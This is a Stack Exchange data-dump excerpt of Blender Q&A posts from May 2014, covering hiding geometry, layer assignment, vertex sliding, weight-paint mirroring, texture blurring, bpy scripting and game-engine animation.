  <row Id="9380" PostTypeId="2" ParentId="9379" CreationDate="2014-05-14T22:01:43.007" Score="6" Body="&lt;p&gt;He manually selects the bottom of the glass with &lt;em&gt;border select&lt;/em&gt; (&lt;kbd&gt;B&lt;/kbd&gt;) and then hides it (&lt;kbd&gt;H&lt;/kbd&gt;), then does the same for the edge loop above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that he has &lt;em&gt;Screencast keys&lt;/em&gt; enabled, so you can see exactly what he does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZ6vj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;A&lt;/kbd&gt;: Deselect all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;B&lt;/kbd&gt;: Border select&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;H&lt;/kbd&gt;: Hide&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For flattening the mesh, he does &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt; to set everything selected to the same position along the Z. See &lt;a href=&quot;https://blender.stackexchange.com/q/140/599&quot;&gt;How to align a cluster of points?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-05-14T22:07:55.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9381" PostTypeId="2" ParentId="9379" CreationDate="2014-05-14T22:04:36.943" Score="39" Body="&lt;p&gt;You can hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;, this works for all areas of blender which support hiding (editmode, uv-editing, sequencer... etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, if you know the the basic action a key is assigned to such as (hide &lt;kbd&gt;H&lt;/kbd&gt;), you can try different combinations with &lt;kbd&gt;Shift&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt; or &lt;kbd&gt;Alt&lt;/kbd&gt; to often perform the inverse.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="12" LastEditDate="2014-05-15T03:51:50.287" LastActivityDate="2014-05-15T03:51:50.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9382" PostTypeId="1" AcceptedAnswerId="9383" CreationDate="2014-05-14T22:32:23.603" Score="7" ViewCount="1164" Body="&lt;p&gt;For some reason the cell fracture addon put all the shards (about 50 of them) to be on all the layers, instead of keeping them on the first layer. I use these layers for other things, so leaving them isn't an option. How do I set all of the shards to be in the first layer, without having to do all of them by hand?&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2014-05-14T22:51:46.537" Title="Change layer of multiple objects" Tags="&lt;layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9383" PostTypeId="2" ParentId="9382" CreationDate="2014-05-14T22:42:38.830" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select them all. Without knowing the layout of your scene, it's hard to say what the best way to do this is. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Manual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try pressing &lt;kbd&gt;`&lt;/kbd&gt; (the key below &lt;kbd&gt;Esc&lt;/kbd&gt;, at least on qwerty keyboards) to set all layers visible. Then use Border select (&lt;kbd&gt;B&lt;/kbd&gt;) or circle select (&lt;kbd&gt;C&lt;/kbd&gt;) in wireframe mode to select all the shards (you may also want to try hiding (&lt;kbd&gt;H&lt;/kbd&gt;) any other objects which are in the way, or just deselect them afterwards)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Automated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the shards have anything in common, you could try using &lt;em&gt;Select similar&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;). For example, this can be used to select them if they are all part of the same group (rigid bodies are automatically part of a group called rigid body world, so that might help if they are rigid bodies).&lt;br&gt;&#xA;Or &lt;em&gt;Select Linked&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;). This will select objects sharing a datablock such as a material or a texture (so you could use this if the shards all have the same texture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; only select visible objects, so you may want to set all layers visible first (&lt;kbd&gt;`&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;M&lt;/kbd&gt; and click the layer which you want the shards to be on (you can use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; to select multiple layers).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-14T22:51:46.537" LastActivityDate="2014-05-14T22:51:46.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostTypeId="2" ParentId="9296" CreationDate="2014-05-15T02:15:37.327" Score="1" Body="&lt;p&gt;This is because you have a &lt;em&gt;scene&lt;/em&gt; strip above your rendered image sequence, which will display the same thing as the default viewport in solid shading (no textures), unless you set it to something else like &lt;em&gt;textured&lt;/em&gt; or &lt;em&gt;rendered&lt;/em&gt; (rendered will be very slow because it has to render each frame. You also have to disable &lt;em&gt;openGL preview&lt;/em&gt; for rendered to work):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zHL0S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, assuming the image sequence below it is the rendered animation, then you can just remove the scene strip.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-15T02:15:37.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9385" PostTypeId="2" ParentId="9379" CreationDate="2014-05-15T06:22:58.763" Score="17" Body="&lt;p&gt;For completeness; you could also switch the &lt;em&gt;View&lt;/em&gt; from &lt;em&gt;Global&lt;/em&gt; to &lt;em&gt;Local&lt;/em&gt; by pressing &lt;kbd&gt;Numpad&lt;/kbd&gt;-&lt;kbd&gt;/&lt;/kbd&gt; for selected objects. &#xA;This is also accessible from the &lt;em&gt;Menu: View&gt;Global/Local&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/Global_or_Local_View&quot;&gt;From the documentation:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that the layer and lock buttons on the 3D View header disappear&#xA;  while in local view.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-15T06:22:58.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostTypeId="1" AcceptedAnswerId="9389" CreationDate="2014-05-15T07:29:52.870" Score="26" ViewCount="151635" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qr9P6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ctrl + R creates vertex exactly between two vertices of an edge but I want it in the place where I click, that is any part of an edge where I click. I wanted to know if there is any such feature available in blender. This will just increase my modeling speed.&lt;/p&gt;&#xA;" OwnerUserId="3360" LastActivityDate="2021-03-08T12:47:28.577" Title="Create vertex on a desired part of an edge" Tags="&lt;modeling&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostTypeId="2" ParentId="9379" CreationDate="2014-05-15T08:01:18.683" Score="3" Body="&lt;p&gt;Other guys have shared you with some very nice tips on &lt;strong&gt;hiding&lt;/strong&gt;. However, I want to point out the key problem that is puzzling you now.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Andrew didn't &quot;hide all BUT selected&quot;. In fact, he just simply hided all vertices on that circle loop by hitting &lt;kbd&gt;H&lt;/kbd&gt;. The reason why it appears that everything else was hidden is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;He didn't show the complete view of the whole bottle during the following seconds. In fact, the top of the bottle is still there. You can confirm it around &lt;strong&gt;&lt;code&gt;08:53&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Furthermore, when in &lt;strong&gt;Edit Mode&lt;/strong&gt; with &lt;strong&gt;Wireframe&lt;/strong&gt; display, the Subdivision results generated by SubSurf modifier will be always shown, regardless the visibility of elements on the base object. That's why you cannot see them anymore after he hit &lt;kbd&gt;Z&lt;/kbd&gt; to switch to &lt;strong&gt;Solid&lt;/strong&gt; view.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;About your last word, I didn't notice he ever said anything like &quot;This is not perfectly aligned...&quot; Can you provide the exact moment in that video?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-15T15:20:12.000" LastActivityDate="2014-05-15T15:20:12.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9389" PostTypeId="2" ParentId="9387" CreationDate="2014-05-15T08:08:08.657" Score="23" Body="&lt;p&gt;It's true that &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; works a bit different for single edge like this other than loop cutting on faces, since it is not designed for that. However, you can select that new vertex then &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;, or &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; to slide it along the edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, a &lt;a href=&quot;http://www.blendernation.com/2014/05/08/blender-development-feature-rip-edge-tool/&quot;&gt;new coming feature&lt;/a&gt; may benefit such workflow. Just FYI.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-15T08:24:16.077" LastActivityDate="2014-05-15T08:24:16.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostTypeId="1" AcceptedAnswerId="10494" CreationDate="2014-05-15T08:12:07.693" Score="11" ViewCount="54801" Body="&lt;p&gt;How can I mirror my weight painting to the opposed side of my character? I know that there is Mirror function, but it doesn't assign the weight to bones on the opposed side. Can I do it manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zZ5EZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2014-05-15T10:06:46.467" LastActivityDate="2020-12-06T21:46:01.190" Title="How can I mirror weight painting?" Tags="&lt;mirror&gt;&lt;weight-painting&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9391" PostTypeId="2" ParentId="9387" CreationDate="2014-05-15T08:12:10.087" Score="7" Body="&lt;p&gt;You could select the new vertex and use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Vertices&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Vertex Slide&lt;/em&gt;&lt;/a&gt; to change its location on the edge &#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to extrude vertices: with a single vertex is selected &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;LMB&lt;/kbd&gt; creates a new vertex at the position of the mouse cursor and connects the vertices by a new edge.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-15T08:12:10.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9392" PostTypeId="2" ParentId="9390" CreationDate="2014-05-15T08:24:14.197" Score="7" Body="&lt;p&gt;The mirror modifier takes weights into account:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/keYyI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWkrR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Weight Paint&lt;/em&gt;&lt;/a&gt; mode you can edit the weights they would be applied symmetrically.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-15T08:24:14.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9393" PostTypeId="1" CreationDate="2014-05-15T09:31:44.057" Score="1" ViewCount="1947" Body="&lt;p&gt;I'm trying to migrate my asset meshes from 3dsMax Student Edition to Blender so that I can ditch 3DsMax for Blender. I would like to do so legally for my non-commercial release of a project which will use these assets. Will exporting to an fbx file and importing into Blender remove any licensing data associated with my models from 3DsMax as I want it to be clean enough for public release from Blender. I once read that converting by exporting it to .obj format will clear it of any 3dsMax trace, but I am unsure.&lt;/p&gt;&#xA;&lt;p&gt;If there is any simple solution it will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="-1" LastEditDate="2020-07-21T18:22:30.300" LastActivityDate="2020-07-21T18:22:30.300" Title="Legally switching from 3DsMax to Blender" Tags="&lt;modeling&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-15T12:44:12.497" ContentLicense="CC BY-SA 4.0" />
  <row Id="9394" PostTypeId="1" AcceptedAnswerId="10544" CreationDate="2014-05-15T11:10:57.570" Score="40" ViewCount="52514" Body="&lt;p&gt;For a Cycles material I need to blur a texture. If the texture where a Texture Image node, I can blur the image before adding it but in my case I need to blur a Voronoi Texture and so I can't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched but I didn't find a blur node. Can this be achieved?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="2217" LastEditDate="2014-08-05T18:12:44.590" LastActivityDate="2019-02-17T14:30:40.560" Title="How to blur a texture node in cycles material?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;blur&gt;" AnswerCount="6" CommentCount="9" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="9395" PostTypeId="2" ParentId="9393" CreationDate="2014-05-15T11:27:58.717" Score="2" Body="&lt;p&gt;I have unfamiliar with the any license or Terms of Service agreement of any edition of 3DS Max, and I am not a lawyer, and don't play one on the internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having made those disclaimers, it is my understanding that the producers or Vendors of a software program do not have any legal interest in any output file (in this case a mesh) that you produce with your software. Just as Micro$oft does not have any intellectual property rights in a novel you create with their word processing software, the purveyors of 3DS Mas probably do not have any intellectual property rights in your meshes. The only exception of which I am aware to this general principle is if the file format to which you are exporting is proprietary, in which case the file format might be copyright. But even then, while the file format might be subject to copyright, that copyright applies to the file format, not the file content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the format to which you expect to export, ~.obj, is an open format, and is not controlled by the purveyors of 3DS Max, so there is unlikely to be any associated licensing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ns &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-05-15T11:41:57.310" LastActivityDate="2014-05-15T11:41:57.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9397" PostTypeId="2" ParentId="9371" CreationDate="2014-05-15T13:54:27.833" Score="5" Body="&lt;p&gt;The cause of missing edges is the fact that these edges are shared by more than two faces.  In a technical term they are non-manifold edges.  Freestyle tends to leave this kind of feature edges undetected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the model contains edges shared by three faces at the edge loops connecting the column and planes.  Remove the faces at both ends of the column (and make a hole in each plane), and you will have all edges properly drawn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let us have a closer look at what is going on.  The missing edges are crease lines from the Freestyle perspective.  Crease lines are those edges between two adjacent faces making an angle smaller than a threshold (referred to as the Crease Angle).  When an edge is shared by two faces, there is no problem and Freestyle can check the angle between the two faces to see if the edge is a crease line.  However, if the same edge is shared by three faces, the situation is more difficult and Freestyle has to decide which two faces to use for crease line detection.  Indeed what Freestyle can do at best is to randomly pick up two of the three faces to check if the edge is a crease line.  That is why edges are missing at random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, it is recommended to model objects without having edges shared by three or more faces.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2014-05-15T13:54:27.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9398" PostTypeId="1" CreationDate="2014-05-15T15:25:04.143" Score="3" ViewCount="1746" Body="&lt;p&gt;I am trying to do some video editing using blender in headless mode as a python module.  My first problem was that when I tried to import a video using movie_strip_add it always failed even when I tried multiple formats.  I tried importing an image and that works but when I go to check the length of the strip or even find the added strip I get array out of bounds errors.  Does anyone have an example of how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question is there anything special I have to do to add movie strips&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def __init__(self):&#xA;    self.numRunning += 1&#xA;    self.scene = bpy.context.scene&#xA;    self.ops = bpy.ops&#xA;    self.data = bpy.data.scenes&#xA;&#xA;def compress(self,filename):&#xA;    newname = os.path.splitext(filename)[0] + 'Compressed'&#xA;    (filepath,vidname)=os.path.split(filename)&#xA;&#xA;    self.scene.camera = None&#xA;    for obj in self.scene.objects:&#xA;        self.scene.objects.unlink(obj)&#xA;&#xA;&#xA;    self.scene.sequence_editor_create()&#xA;    self.ops.scene.new(type='NEW')&#xA;    bpy.data.scenes['Scene'].render.resolution_x=1280&#xA;&#xA;    file=[]&#xA;    #for i in vidname:&#xA;    frame={&quot;name&quot;:vidname}&#xA;    file.append(frame)&#xA;    scene_name=self.data[0].name&#xA;&#xA;    self.ops.sequencer.image_strip_add(directory = filepath, files = file, channel =1, frame_start = 0, filemode = 1)&#xA;    #self.ops.sequencer.movie_strip_add(filepath = filepath,files = file,frame_start=0, channel=1)&#xA;&#xA;    stripname=file[0].get(&quot;name&quot;)&#xA;    print(self.scene.frame_end)&#xA;    print(self.data[scene_name].sequence_editor.sequences[stripname].frame_end)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3498" LastActivityDate="2014-07-15T06:54:39.847" Title="Python as module video editing" Tags="&lt;python&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9399" PostTypeId="1" AcceptedAnswerId="10444" CreationDate="2014-05-15T15:43:36.473" Score="4" ViewCount="5967" Body="&lt;p&gt;I am trying to create a mesh via a Python script and set a texture for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def add_mesh(self, coords, uvs, faces, texture, texHeight, texWidth):&#xA;  me = bpy.data.meshes.new(&quot;myMesh&quot;)&#xA;  ob = bpy.data.objects.new(&quot;myObject&quot;, me)&#xA;&#xA;  me.from_pydata(parsedCoords, [], parsedFaces)&#xA;  me.update(calc_edges=True)&#xA;&#xA;  mat = self._make_material(&quot;myMaterial&quot;, (1,1,1), (1,1,1), 1)&#xA;  tex = self._make_texture(&quot;myTexture&quot;, texture, texWidth, texHeight)&#xA;  mTex = mat.texture_slots.add()&#xA;  mTex.texture_coods = 'UV'&#xA;  mTex.use_map_color_diffuse = True&#xA;  mTex.diffuse_color_factor = 1.0&#xA;  mTex.blend_type = 'MULTIPLY'&#xA;&#xA;  # Missing: Set the uv-coords for the mesh&#xA;&#xA;  me.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;_make_material&lt;/code&gt; and &lt;code&gt;_make_texture&lt;/code&gt; which are self-defined. But I think they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the missing part I found using the API-documentation following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uv_layer = me.uv_layers.active.data&#xA;for poly in me.polygons:&#xA;    for loop_ind in range(poly.loop_start, poly.loop_start+ poly.loop_total):&#xA;        vInd = me.loops[loop_index].vertex_index&#xA;        uv_layer[loop_index].uv = tuple( uvs[vertex_index] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The passed uvs is a list uv-coordinates as lists. They are in the same order as the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem now is that the &lt;code&gt;uv_layer = me.uv_layers.active.data&lt;/code&gt; does not work. It results in &lt;code&gt;AttributeError: 'NoneType' object has no attribute 'data'&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my mesh has no uv_layer. How do I add one?&#xA;Is my code correct if I add a uv_layer to the mesh? I am really unsure about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings,&#xA;Dragonseel&lt;/p&gt;&#xA;" OwnerUserId="3394" LastActivityDate="2019-01-26T04:07:08.450" Title="Add uv_layer to mesh, add uv-coords, with python" Tags="&lt;python&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9400" PostTypeId="1" AcceptedAnswerId="9401" CreationDate="2014-05-14T17:40:38.817" Score="1" ViewCount="296" Body="&lt;p&gt;In Blender i have a model and an armature with one action. When i play the animation in blender it works but in blender game i cannot get the action playing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The used blender version is 2.70 svn running in Linux Mint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To narrow down and locate the problem i made a simple blender scene.&#xA;Here is what i did:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make model and skeleton and parent model to the created armature.&lt;/li&gt;&#xA;&lt;li&gt;Create action with a small animation&lt;/li&gt;&#xA;&lt;li&gt;in the logic editor i added this chain (Always - AND - Action: Play|Continue|Select Action)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here is a link to the blend file: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/91457585/animation%20test.blend&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/91457585/animation%20test.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="3501" OwnerDisplayName="soerensen" LastActivityDate="2014-05-15T15:56:31.540" Title="blender game - animation of skeleton - not playing" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9401" PostTypeId="2" ParentId="9400" CreationDate="2014-05-15T02:54:53.460" Score="2" Body="&lt;p&gt;Put the action actuator on the armature not the mesh object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an action actuator is triggered the object it is related to is the one performing the action, the action you setup has no effect on the mesh object.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-05-15T02:54:53.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9402" PostTypeId="1" AcceptedAnswerId="9403" CreationDate="2014-05-15T16:12:03.847" Score="2" ViewCount="1418" Body="&lt;p&gt;I have imported a 3D-scanned .OBJ file from KScan3D, which is 3D scanning software. I am trying to scan a model car, but would like to remove all the unnecessary points for the purposes of 3D printing. The scan included much of the floor, which I would like to remove. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a picture of the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjMYx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the fastest way to eliminate the points on the floor? Is there a &quot;drag-and-delete&quot; tool added to recent versions of Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2695" LastActivityDate="2014-05-15T17:09:04.273" Title="Most efficient way to remove unwanted vertices in an object with 59,000 points?" Tags="&lt;editing&gt;&lt;3d-printing&gt;&lt;point-clouds&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9403" PostTypeId="2" ParentId="9402" CreationDate="2014-05-15T16:35:58.100" Score="2" Body="&lt;p&gt;In edit mode, press &lt;kbd&gt;C&lt;/kbd&gt;, that will enter you into a Circle select. Just hold &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; and drag over what you want deleted. When you have selected all you want to delete, Right click. Then press &lt;kbd&gt;delete&lt;/kbd&gt; (or &lt;kbd&gt;x&lt;/kbd&gt;) and chose vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a border selection method, which works in ether edit mode or object mode. Press &lt;kbd&gt;B&lt;/kbd&gt;, just drag with the &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; held down, when you release it the selection is done.  Delete the same way as above.  If you selected too much you can unselect it by, dragging with the &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; in either border select or circle select mode.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2014-05-15T17:09:04.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9404" PostTypeId="1" AcceptedAnswerId="9406" CreationDate="2014-05-15T16:37:42.937" Score="5" ViewCount="1478" Body="&lt;p&gt;I'm completely unfamiliar with animation, but I'm considering learning blender for use in producing educational (physics) content as it was suggested to me that it can be used to do what Henry Reich does in the following MinutePhysics video from 00:53-00:58:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=tmNXKqeUtJM&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=tmNXKqeUtJM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would &quot;bringing hand drawn animation to 3D life&quot; in the particular way illustrated by this video be relatively straightforward in Blender?  Is Blender a good solution for attempting to recreate that sort of thing? &lt;/p&gt;&#xA;" OwnerUserId="3493" LastEditorUserId="2217" LastEditDate="2014-05-15T17:25:38.203" LastActivityDate="2015-11-22T21:46:33.583" Title="Is Blender a good solution for bringing hand drawn illustrations to 3D life?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2014-05-16T00:40:10.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="9405" PostTypeId="1" CreationDate="2014-05-15T16:51:02.187" Score="0" ViewCount="877" Body="&lt;p&gt;Is there a way to register a mousemove event that gets called whenever the mouse moves within the Blender window?&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="2217" LastEditDate="2014-05-15T17:12:10.530" LastActivityDate="2014-05-15T19:30:04.567" Title="Get mouse x/y position while not in game engine" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9406" PostTypeId="2" ParentId="9404" CreationDate="2014-05-15T16:58:48.603" Score="3" Body="&lt;p&gt;You certainly could. &lt;a href=&quot;https://vimeo.com/17965710&quot; rel=&quot;nofollow&quot;&gt;Import&lt;/a&gt; your &quot;hand drawn&quot; textures on to planes. Then just position them in 3D space. Animate the camera moving around and your effect is about done. Depending on how much movement you may want to add a &lt;a href=&quot;http://www.blender.org/manual/rigging/constraints/tracking/track_to.html&quot; rel=&quot;nofollow&quot;&gt;Track To Constraint&lt;/a&gt; to each of your planes, set the constraint to the camera. That will make the planes always point at the camera.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T21:46:33.583" LastActivityDate="2015-11-22T21:46:33.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
